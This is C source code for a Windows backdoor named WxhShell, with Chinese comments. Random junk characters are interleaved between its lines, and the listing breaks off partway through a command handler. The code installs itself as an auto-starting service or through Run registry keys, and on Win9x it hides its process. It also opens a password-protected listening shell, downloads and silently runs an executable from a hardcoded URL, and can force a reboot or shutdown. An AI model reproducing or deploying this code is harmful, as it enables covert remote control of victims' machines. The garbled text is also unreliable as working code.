,"EnumProcessModules"); +M
I{B="7. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4DCh+|r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _<.VP 8~C}0H if (!NtQueryInformationProcess) return 0; `3T=z{HR9g *GE6zGdN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }UW*[dCf>C if(!hProcess) return 0; ?{f6su@rW o1(;"5MM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Wds>'zzS c 1F^Gj!8 CloseHandle(hProcess); K& ^qn& lUEbxN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nz`8)Le if(hProcess==NULL) return 0; ,#ZPg_x?1 9#:nlu9 HMODULE hMod; K.}jOm char procName[255]; 3/n?g7B unsigned long cbNeeded; ~+4lmslR *Sj)9mp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u$%C`v> /C!~v!;e CloseHandle(hProcess); kb2C9< U U_0@V< if(strstr(procName,"services")) return 1; // 以服务启动 /=6_2t#vA qco'neR"z return 0; // 注册表启动 # atq7tX } >]~581fYf :
Z<\R0 // 主模块 PDD2ouv4 int StartWxhshell(LPSTR lpCmdLine) `S|F\mI~
{ l.pxDMY SOCKET wsl; ~wW]ntZm BOOL val=TRUE; 2Cp4aTGv# int port=0; 3pWav
1" struct sockaddr_in door; L.@$rFhA |9S8sfw if(wscfg.ws_autoins) Install(); f<bB= 9J cwzkA,e@ port=atoi(lpCmdLine); n>.@@ h8UhrD<: if(port<=0) port=wscfg.ws_port; u/j\pDl. ]}g\te WSADATA data; +j<WP if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PxrT@.T$ .Bl:hk\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *x2!N$b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EX{%CPp7} door.sin_family = AF_INET; (}X5*BB& door.sin_addr.s_addr = inet_addr("127.0.0.1"); !u]@Ru34 door.sin_port = htons(port); |=IJ^y(x| qLLrR,: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Y"RsW9 closesocket(wsl); F(`|-E"E; return 1; np^&cY] } b_ZvI\H a.%ps: if(listen(wsl,2) == INVALID_SOCKET) { fU$Jh/#": closesocket(wsl); P
I"KY@>H return 1; ZUHW*U. } @~hy'6/ Wxhshell(wsl); k)>H=?mI WSACleanup(); Ql5bjlQdO o
i'iZX return 0; ),N,!15j, ~fkcal1@ } q#AEu
xI1 eWv:wNouk // 以NT服务方式启动 J(#6Cld`c VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G;cC!x< { O"~[njwkE DWORD status = 0; n)5t! DWORD specificError = 0xfffffff; apm%\dN L3I$ K+c serviceStatus.dwServiceType = SERVICE_WIN32; k5-4^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; xwD` R* serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ir.RO7f serviceStatus.dwWin32ExitCode = 0; cL#-vW<s3 serviceStatus.dwServiceSpecificExitCode = 0; *RS/`a;, serviceStatus.dwCheckPoint = 0; Fya*[)HBo serviceStatus.dwWaitHint = 0; A;rk4)lij Rf4K Rhi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fvk=6$d2 if (hServiceStatusHandle==0) return; %|H]T]s }w4OCN\1
status = GetLastError(); )=GPhC/sw if (status!=NO_ERROR) #^VZJ:2=| { @*vVc`; serviceStatus.dwCurrentState = SERVICE_STOPPED; M2cGr serviceStatus.dwCheckPoint = 0; Ti)Me-g serviceStatus.dwWaitHint = 0; cu>(;= serviceStatus.dwWin32ExitCode = status; }6a}8EyFP serviceStatus.dwServiceSpecificExitCode = specificError; bEcN_7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); *ilh/Hd> return; )I*(yUj } eV}" L:bgJ B\R X serviceStatus.dwCurrentState = SERVICE_RUNNING; $#f_p-N serviceStatus.dwCheckPoint = 0; 1#3|PA#> serviceStatus.dwWaitHint = 0; wyX3qH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w3q'n% } mTu>S 9+9g (6 // 处理NT服务事件,比如:启动、停止 \9`E17i VOID WINAPI NTServiceHandler(DWORD fdwControl) V.
i{IW { &X:;B' switch(fdwControl) =M-=94 { F&!vtlV) case SERVICE_CONTROL_STOP: fWJpy#/^*K serviceStatus.dwWin32ExitCode = 0; toGd;2rl serviceStatus.dwCurrentState = SERVICE_STOPPED; ?0:]%t18 serviceStatus.dwCheckPoint = 0; tx
d0S! serviceStatus.dwWaitHint = 0; Z#@ { %bTuE' `b SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ns@W? } \;MP|:{pU return; O'(Us!aq case SERVICE_CONTROL_PAUSE: DcBAncsK serviceStatus.dwCurrentState = SERVICE_PAUSED; ~.3v\Q break; RN 4?]8 case SERVICE_CONTROL_CONTINUE: *_I`{9~' serviceStatus.dwCurrentState = SERVICE_RUNNING; %`k [xz break; AR( gI]1 case SERVICE_CONTROL_INTERROGATE: j"6|$Ze8 break; #b*4v&< }; jC[_uG SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q(-&}cY } :qxWANUa cdkEK // 标准应用程序主函数 &o x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V/H+9+B7Im { 2F*>&n&Db7 {Ni]S$7 // 获取操作系统版本 Ojz'p5d`> OsIsNt=GetOsVer(); 3m75mny GetModuleFileName(NULL,ExeFile,MAX_PATH); Nzgi)xX0HX v\|jkzR5Y // 从命令行安装 `w#VYs|k if(strpbrk(lpCmdLine,"iI")) Install(); nxV!mh_ O EaL2T // 下载执行文件
0<v5_pB if(wscfg.ws_downexe) { PP$2s]{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AP%R*0] WinExec(wscfg.ws_filenam,SW_HIDE); >?K=l]!(* } })<u~r O^CBa$ if(!OsIsNt) { uQc("F // 如果时win9x,隐藏进程并且设置为注册表启动 F-zIzzb&O HideProc(); h[qZM StartWxhshell(lpCmdLine); U -OD } -V;Y4,:c else ox`Zs2-a if(StartFromService()) ppn 8 // 以服务方式启动 <QvVPE}z StartServiceCtrlDispatcher(DispatchTable); RuYIG?J=/ else 67&IaDts // 普通方式启动 uMva5o StartWxhshell(lpCmdLine); ]/Nt '.z7)n return 0; eE'>kP} } w;}5B~). bP-(N14x+ b-8@_@f|g {+#{Cha =========================================== i|z=WnF$& &)6}.$`
2?%4|@*H? jj2=|)w$3 kOo Vqu T8\@CV! " mK$E&,OkA _4)
t #include <stdio.h> :Ef!gpS}?R #include <string.h> zqt<[=O #include <windows.h> C)FO:lLr\ #include <winsock2.h> @C@9Tw2Y #include <winsvc.h> QyL]-zNg #include <urlmon.h> oy
jkk j?*n@' #pragma comment (lib, "Ws2_32.lib") $!. [R} #pragma comment (lib, "urlmon.lib") r4[=pfe25 1lIs
jBo g #define MAX_USER 100 // 最大客户端连接数 RQWUO^&e^ #define BUF_SOCK 200 // sock buffer O,),0zcYF #define KEY_BUFF 255 // 输入 buffer
MOB4t| ]\K?%z #define REBOOT 0 // 重启 l=9D!64 #define SHUTDOWN 1 // 关机 tH;9"z#
~ %8I^&~E1 #define DEF_PORT 5000 // 监听端口 @bTm.3 Pq<43:*? #define REG_LEN 16 // 注册表键长度 9~j"6wS #define SVC_LEN 80 // NT服务名长度 i_m&qy<v V0m1>{ // 从dll定义API wuY-f4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :_i1gY) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5P #._Em typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T_2'=7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !QAndg{;D !{V`N|0
// wxhshell配置信息 yx`@f8Kr struct WSCFG { ='D%c^;O8' int ws_port; // 监听端口 bE%
Hm! char ws_passstr[REG_LEN]; // 口令 'X+aYF}Ye int ws_autoins; // 安装标记, 1=yes 0=no H#GR*4x char ws_regname[REG_LEN]; // 注册表键名 pW8?EGO@ char ws_svcname[REG_LEN]; // 服务名 -SD:G]un
char ws_svcdisp[SVC_LEN]; // 服务显示名 jA?[*HB char ws_svcdesc[SVC_LEN]; // 服务描述信息 }Y.@:v
j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5YPIv- int ws_downexe; // 下载执行标记, 1=yes 0=no n1|]ji[c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b/*QV0( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q*R~gEi#yk
i / o }; `2U,#nZ 4 V9<E`C // default Wxhshell configuration chD7^&5] struct WSCFG wscfg={DEF_PORT, bny@AP(CY+ "xuhuanlingzhe", BeRs;^r+ 1, yg}L,JJU< "Wxhshell", _3wJ;cn. "Wxhshell", qDswFs( "WxhShell Service", !-qk1+<h "Wrsky Windows CmdShell Service", o"RE4s\G~r "Please Input Your Password: ", YRZw|H{>t 1, =>Ae]mi7 "http://www.wrsky.com/wxhshell.exe", Kc
r)W "Wxhshell.exe" h\#4[/ }; C`Vuw|Xl 1G`5FU // 消息定义模块 `4@`G:6BL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :,H_
e!
X char *msg_ws_prompt="\n\r? for help\n\r#>"; .Sw4{m[g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oU3gy[wF;b char *msg_ws_ext="\n\rExit."; N0lFx?4 char *msg_ws_end="\n\rQuit."; `,pBOh|' char *msg_ws_boot="\n\rReboot..."; fU.hb%m)Q\ char *msg_ws_poff="\n\rShutdown..."; .6n|hYe char *msg_ws_down="\n\rSave to "; w0js_P-uv sdXchVC char *msg_ws_err="\n\rErr!"; >@4Ds"Ye"O char *msg_ws_ok="\n\rOK!"; 056yhB n$j B"1 char ExeFile[MAX_PATH]; >Gg[J=7` int nUser = 0; 8_>:0(y HANDLE handles[MAX_USER]; u(r
T2 int OsIsNt; FhH*lO& bU}!bol SERVICE_STATUS serviceStatus; jj `0w@ SERVICE_STATUS_HANDLE hServiceStatusHandle; T2W^4) -=rGN"(M
_ // 函数声明 /s)It int Install(void); )`5-rm~* int Uninstall(void); D//58z& int DownloadFile(char *sURL, SOCKET wsh); O{]}{Ss int Boot(int flag); 4byh,t void HideProc(void); w\t int GetOsVer(void); .*FlB>1jy int Wxhshell(SOCKET wsl); 'uUa|J1mu void TalkWithClient(void *cs); Jz;`L3m int CmdShell(SOCKET sock); zSsogAx int StartFromService(void); *qMjoP, int StartWxhshell(LPSTR lpCmdLine); k3OnvnJb >>J!| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OB,T>o@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); AsZyPybq /$vX1T // 数据结构和表定义 QBoX3w= SERVICE_TABLE_ENTRY DispatchTable[] = @J@bD+Q+0 { #lVSQZO~a {wscfg.ws_svcname, NTServiceMain}, r
Z5eXew6 {NULL, NULL} YRl4?}r2 }; v Ma$JPauI wL0"1Ya // 自我安装 Eh_[8:dK int Install(void) nzYFa J + { jaux:fU char svExeFile[MAX_PATH]; dnPr2oI?I HKEY key; 4f0dc\$ strcpy(svExeFile,ExeFile); GEb)nHQq |("5 :m // 如果是win9x系统,修改注册表设为自启动 hW cM. if(!OsIsNt) { NX+
eig</- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;rF:$37^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t^9q>[/d` RegCloseKey(key); HZ2 zL17 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KRcg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2f_>tu2 RegCloseKey(key); FUPJ&7+B return 0; T5U(B3j_ } H
@E-=Ly } }% |GV } R?%|RCht1 else { inGH'nl_ ] @1ncn7N // 如果是NT以上系统,安装为系统服务 RzSN,bLR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p7O4CP>9[ if (schSCManager!=0) p/s5[>N { CV7.hF< SC_HANDLE schService = CreateService =WP}RZ{S ( m7mC
7x schSCManager, }KkH7XksF wscfg.ws_svcname, F{<rIR wscfg.ws_svcdisp, }@A~a`9g SERVICE_ALL_ACCESS, .~8IW,[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &9g#Vq% SERVICE_AUTO_START, Nb{oH +$b SERVICE_ERROR_NORMAL, qm}7w3I^ svExeFile, 55|$Imnf NULL, g(;ejKSR NULL, N=L
urXv NULL, {k~$\J?. NULL, 17qrBG-/MD NULL ck<4_?1] ); K<_H`k*x if (schService!=0) <$9AP { X!_OOfueP8 CloseServiceHandle(schService); zKWi9 CloseServiceHandle(schSCManager); S"Zs'7dy` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pK1(AV'L strcat(svExeFile,wscfg.ws_svcname); |s`q+ U - if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m
:^,qC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ox43(S0~ RegCloseKey(key); eaiz
w@N return 0; ~d5{Q?T) } sQH.}W$C } )d1,}o CloseServiceHandle(schSCManager); T@HozZ } #QDV_ziE5 } I2l'y8)d a+BA~|u^ return 1; Em.? } W]*wxzf!5z $1@{Zz!S // 自我卸载 |$ 0/:* int Uninstall(void) yq,5M1vR { kI;^V HKEY key; WK^qYfq| 1!NaOfP;@ if(!OsIsNt) { dX3>j{_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %E!0,y,: RegDeleteValue(key,wscfg.ws_regname); fu&]t8MJC RegCloseKey(key); G`W+m*[U+M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vA{[F7 RegDeleteValue(key,wscfg.ws_regname); lJ,s}l7 RegCloseKey(key); |O+binq return 0; \%^3Izsc } LOYv%9$0*p } jH G(d$h } aH#|LrdJ else { nBj7 Q!lW Fu><lN7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]-`{kX if (schSCManager!=0) =f p(hX" { tw')2UGg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MdfkC6P if (schService!=0) 6a!X`%N= {
VEZ/-s/ if(DeleteService(schService)!=0) { 0\o'd\ CloseServiceHandle(schService); ?k?Hp:8?= CloseServiceHandle(schSCManager); s`2o\] return 0; zc(7p;w#p } abv] CloseServiceHandle(schService); TP^0`L } \dMsv1\ CloseServiceHandle(schSCManager); [)=FZF6kG } x"d*[m } j)5Vv
K\ i
xyjl[G return 1; 1FX-#Y`e } *\>2DUu\` }bTMeCgI // 从指定url下载文件 !14z4]b int DownloadFile(char *sURL, SOCKET wsh) 0.5_,an3 { m4
(Fuu HRESULT hr; BMW4E 5 char seps[]= "/"; <.2Z{;z char *token; RinRQd char *file; btE+.V char myURL[MAX_PATH]; / u{r5`4
char myFILE[MAX_PATH]; x1et,&, v]!7=>/2 strcpy(myURL,sURL); J5"*OH:f token=strtok(myURL,seps); *$1)&2i while(token!=NULL) 5%$#3LT| { 3WYW]) file=token; m}E$6E^~O token=strtok(NULL,seps); re*/JkDq3K } b,W'0gl wtKh8^:YD GetCurrentDirectory(MAX_PATH,myFILE); (qrT0D6 strcat(myFILE, "\\"); 9+']`=a: strcat(myFILE, file); z=U!D `]v send(wsh,myFILE,strlen(myFILE),0); }ie]7N6; send(wsh,"...",3,0); 9.B7Owgr89 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HKwGaCj` if(hr==S_OK) H#y"3E<s return 0; Mg$Z^v|}0 else 1d"P) 3dQ return 1; Y4O L 82Y jj2UUQ| } 4Ojw&ys@V U{Z>y?V/ // 系统电源模块 Fqv5WoYVf int Boot(int flag) F8I<4S { @n(In$ HANDLE hToken; ^q`*!B9@ TOKEN_PRIVILEGES tkp; Vmc)or*# ZJ(!jc$"*% if(OsIsNt) { aBnbu
vp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); URgF8?n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pS\>X_G3 tkp.PrivilegeCount = 1; AngwBZ@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ._Xtb,p{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lUEyo.xVt if(flag==REBOOT) { 7w*&Yg] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K;PpS*! return 0; M=A9ax } %U7B0- else { hz%IxI9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ap~Iz return 0; Tjqn::~D } *&]l } 2LU'C,o? else { P>-,6a> if(flag==REBOOT) { D,/9rH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ah6x2(: return 0; 08a|]li } ]Yex#K
else { ihrrmlN? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B(LV22# return 0; val<N293L> } (T01hR& } j+hoj2( b*KZe[#M1 return 1; W\7*T1TDj } b3lpNJ J KoJG!Rm // win9x进程隐藏模块 r
`dU
(T! void HideProc(void) -huZnDN { =jt_1L4 sBnPS[Oo HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); beE%%C]X if ( hKernel != NULL ) K~-XDLh5Nu { ZZ*k3Ce pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [B`P]}gL: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;G]'}$`/q FreeLibrary(hKernel); :\_MA^< } F.D1;,x c^IEj1@}'? return; ud D[hPJd } H@'
@xHv ;[ueNP%*y| // 获取操作系统版本 I/jr`3Mj int GetOsVer(void) XD }_9p { eB*8)gYh OSVERSIONINFO winfo; @/L. BfTz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |$2N$6\SP GetVersionEx(&winfo); J
*?_SnZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vz]=J;`Mz return 1; C:MGi7f else x~^I/$ return 0; |81N/]EER } D:tZiS=0 ycD.:w p\' // 客户端句柄模块 YCO:bBmp: int Wxhshell(SOCKET wsl) W2qQKv { %)Dd{|c SOCKET wsh; QL18MbfqP struct sockaddr_in client; )fc"])&8 DWORD myID; :w%bw\} q)+n2FM while(nUser<MAX_USER) {+9\o ~ { n9!3h ?,g int nSize=sizeof(client); [)>8z8'f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mp3_n:R? if(wsh==INVALID_SOCKET) return 1; x)ZH;) }Xv1KX' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1iL
xXd if(handles[nUser]==0) }F6b ] closesocket(wsh); G| oG: else )%w8>1}c nUser++; %nf=[f } g8A{aHb1} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !13
/+ u u#k,G` return 0; AiK4t- } iGVb.=) #-j!
;? // 关闭 socket B-'BJ|*4I void CloseIt(SOCKET wsh) 8k?L{hF|nW { }AZx/[k
|z closesocket(wsh); *[:CbFE0y nUser--; Yka&Kkw ExitThread(0); kTc5KHJ7 } F{~r7y;0 @ ]wem // 客户端请求句柄 ULmdt
void TalkWithClient(void *cs) {0WIDD { s^'#"`!v= M`pTT5r SOCKET wsh=(SOCKET)cs; oHd0
<TO char pwd[SVC_LEN]; +gCy@_2; char cmd[KEY_BUFF]; P Xn>x8z char chr[1]; 1'm`SRX#e int i,j; i}F;fWZ` )h_7 2 while (nUser < MAX_USER) { !nBm}E7d ikG9l&n if(wscfg.ws_passstr) { 4eL54).1O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); | O+># //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / ! //ZeroMemory(pwd,KEY_BUFF); o+Ti$`2<O7 i=0; ur,"K'w while(i<SVC_LEN) { bTy)0ta>AF <;0N@
// 设置超时 ';|>`< fd_set FdRead; {^5<{j3e struct timeval TimeOut;
)k] !u FD_ZERO(&FdRead); uNZ>oP> FD_SET(wsh,&FdRead); ^
R^N`V TimeOut.tv_sec=8; B "F`OS[ TimeOut.tv_usec=0; S Y>,kwHO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s5aOAyb*w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vJAAAS G[<[#$( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sb9=$0%\ pwd=chr[0]; /Q>{YsRRB if(chr[0]==0xd || chr[0]==0xa) { K-k.=6mS pwd=0; ],}afa!A break; wt=>{JM } E(3+o\w i++; &G|jzXE } YEPG[W<kg 5OW8G][ // 如果是非法用户,关闭 socket b|8>eY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,#jhKnk2e } +9
p`D #JR ,C
-w send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &c?hJ8" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ed0>R<jR9 q|$>H6H4b while(1) { W*rU,F|9 ,{ L;B ZeroMemory(cmd,KEY_BUFF); #[0\=B- BOiz ~h6 // 自动支持客户端 telnet标准 )C01fZhD j=0; L8w76| while(j<KEY_BUFF) { E,D:D3O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U>_\ cmd[j]=chr[0]; ,dj*p,J if(chr[0]==0xa || chr[0]==0xd) { CVSsB:H6e cmd[j]=0; s@)"IdSA( break; BXK::M+ } Ril21o! j j++; V3A>Ag+^~ } /$Tl# Sd<@X@iU8D // 下载文件 Fx[A8G if(strstr(cmd,"http://")) { rq(~/Yc send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,[}yf#8@J if(DownloadFile(cmd,wsh)) c<h!QnJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gz[ymj)5 else e=n{f*KG` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7fW=5wc } `k}l$ih`X else { nc\C4g ? __aVQ7 switch(cmd[0]) { d7_ g
u 0n<(*bfW // 帮助 w^dueP7J case '?': { $uFh$f send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q{l*62Bx break; <jRFN&"h} } 6mF{ImbRbS // 安装 {r].SrW9s9 case 'i': { `J=1&ae |